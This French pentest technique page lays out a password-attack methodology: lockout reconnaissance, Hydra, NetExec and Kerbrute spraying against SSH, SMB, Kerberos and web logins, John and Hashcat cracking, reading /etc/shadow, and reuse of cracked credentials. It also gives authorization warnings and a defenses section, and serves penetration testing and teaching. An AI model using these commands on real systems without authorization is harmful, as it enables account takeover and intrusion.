---
title: Password attacks
description: "La méthode complète : spraying en ligne avec Hydra, cracking hors ligne avec John et Hashcat."
category: cracking
kind: technique
tags: [password, spraying, credential, wordlist, methodology]
level: intermediate
updated: 2026-11-11
order: 1
aliases: ["credential attacks", "password cracking", "password spraying"]
---

## Deux terrains

| En ligne | Hors ligne |
| --- | --- |
| Hydra, NetExec, Kerbrute | John, Hashcat |
| Verrouillage, MFA, rate limit | GPU, règles, masques |
| Bruité, journalisé | Silencieux, rapide |
| Teste une authentification réelle | Casse un hash déjà obtenu |

> [!TIP]
> Ne mélange pas les deux : Hydra ne casse pas un hash, et John ne teste pas un formulaire. Les deux se complètent : on capture ou on dump, puis on casse, puis on réutilise.

## Reconnaissance avant de frapper

```bash
# Politique de verrouillage Windows
nxc smb dc01.domain.local -u user -p 'Password' --pass-pol
net accounts

# Politique locale Linux
chage -l user
grep -R "pam_pwquality\|minlen\|remember" /etc/pam.d /etc/security 2>/dev/null
```

- **Seuil de verrouillage** : nombre d'échecs, durée, fenêtre d'observation.
- **MFA** : un mot de passe valide ne suffit pas sur les accès protégés.
- **Format des logins** : `prenom.nom`, `p.nom`, `sAMAccountName`, emails.
- **Contexte** : nom de l'entreprise, produit, ville, année, saison, mots de passe par défaut.
- **Sources de usernames** : OSINT, `kerbrute userenum`, `nxc smb --users`, LDAP, pages équipe.

## Wordlists et mutations

```bash
# Wordlists classiques
/usr/share/wordlists/rockyou.txt
/usr/share/seclists/Passwords/Common-Credentials/
/usr/share/seclists/Passwords/Leaked-Databases/
```

```bash
# Hashcat : dictionnaire + règles
hashcat -m 1000 hashes.txt rockyou.txt -r rules/best64.rule

# John : dictionnaire + règles
john --wordlist=rockyou.txt --rules hashes.txt

# Masque ciblé : mot + 4 chiffres
hashcat -m 1000 hashes.txt -a 3 'MotDePasse?d?d?d?d'
```

Les meilleures wordlists sont **contextuelles** : ajoute le nom du client, ses produits, ses villes, les années et les variantes de mots de passe d'entreprise. Une liste de 10 000 mots ciblés bat souvent rockyou.

## En ligne : Hydra et spraying

```bash
# Un mot de passe, beaucoup de comptes (spraying)
hydra -L users.txt -p 'Summer2026!' ssh://10.10.10.10 -t 2

# Beaucoup de mots de passe sur un compte (brute force ciblé)
hydra -l admin -P passwords.txt ssh://10.10.10.10 -t 2 -f

# Formulaire web
hydra -L users.txt -P passwords.txt target.test http-post-form \
  "/login:username=^USER^&password=^PASS^:F=Invalid credentials"

# Spraying SMB avec NetExec
nxc smb 10.10.10.0/24 -u users.txt -p 'Summer2026!' --continue-on-success

# Spraying Kerberos
kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt 'Summer2026!'
```

> [!WARNING]
> Vérifie le seuil de verrouillage avant tout spraying. Un seul mot de passe testé sur tous les comptes peut verrouiller toute l'organisation. Espace les tentatives, utilise un compte de test et préviens le client.

Détails, modules et contournements de formulaires : [Hydra](/sheets/hydra/).

## Hors ligne : John et Hashcat

| Hash | Format John | Mode Hashcat |
| --- | --- | --- |
| NTLM | `nt` | `1000` |
| NetNTLMv2 | `netntlmv2` | `5600` |
| Kerberoast | `krb5tgs` | `13100` |
| AS-REP | `krb5asrep` | `18200` |
| sha512crypt | `sha512crypt` | `1800` |
| bcrypt | `bcrypt` | `3200` |
| MD5 | `raw-md5` | `0` |
| Clé SSH | `ssh` | — (John) |

```bash
# Identifier puis casser
hashid '5f4dcc3b5aa765d61d8327deb882cf99'
john --format=raw-md5 --wordlist=rockyou.txt hashes.txt
hashcat -m 0 hashes.txt rockyou.txt

# Résultats
john --show hashes.txt
hashcat -m 0 hashes.txt --show
```

Détails des formats, règles et outils `*2john` : [John the Ripper](/sheets/john/). Modes, GPU et masques : [Hashcat](/sheets/hashcat/).

## Cibles typiques

**Windows**
- SAM / LSA / NTDS via [Impacket](/sheets/impacket/) ou [NetExec](/sheets/netexec/).
- NetNTLMv2 capturés par [Responder](/sheets/responder/) et relais NTLM.
- Kerberoast / AS-REP via [Attaques Active Directory](/sheets/ad-attacks/).
- Secrets mémoire et DPAPI via [Mimikatz](/sheets/mimikatz/).

**Linux**
- `/etc/shadow` avec `unshadow /etc/passwd /etc/shadow > hashes.txt`.
- Clés SSH chiffrées : `ssh2john id_rsa > ssh.hash`.
- Mots de passe dans les historiques, fichiers de config et sauvegardes.

**Fichiers et applications**
- ZIP, RAR, 7z, PDF, Office, KeePass : outils `*2john`.
- Hashs de bases de données, JWT secrets, tokens d'API.
- Panneaux web, VPN, FTP, SSH, RDP, MSSQL : retour aux attaques en ligne.

## Après le crack

```bash
# Réutiliser les identifiants sur le périmètre
nxc smb 10.10.10.0/24 -u cracked-users.txt -p cracked-passwords.txt --continue-on-success

# Tester le compte local administrateur réutilisé
nxc smb 10.10.10.10 -u Administrator -p 'CrackedPass!' --local-auth
```

- Un mot de passe cassé sur un service est souvent réutilisé ailleurs.
- Vérifie les comptes de service, les accès VPN, les panneaux d'administration.
- Documente la source du hash et la méthode, pas le mot de passe en clair dans le rapport final.

> [!WARNING]
> Les mots de passe cassés sont des données sensibles. Stocke-les chiffrés, limite leur accès, ne les réutilise jamais hors du scope autorisé et supprime-les après la mission.

## Défenses

- MFA sur tous les accès exposés, mots de passe sans reuse, gestionnaire de secrets.
- Phrases de passe longues, listes de mots de passe interdits, rotation des comptes de service.
- `bcrypt` ou `argon2` pour le stockage, avec sel et pepper.
- Verrouillage progressif, rate limiting et alerting sur les échecs.
- Désactiver NTLMv1, LLMNR/NBT-NS, et limiter les délégations.
- Credential Guard, LSA protection, surveillance des événements 4625/4771/4768/4769.
- Comptes leurres et détection des sprayings lents.
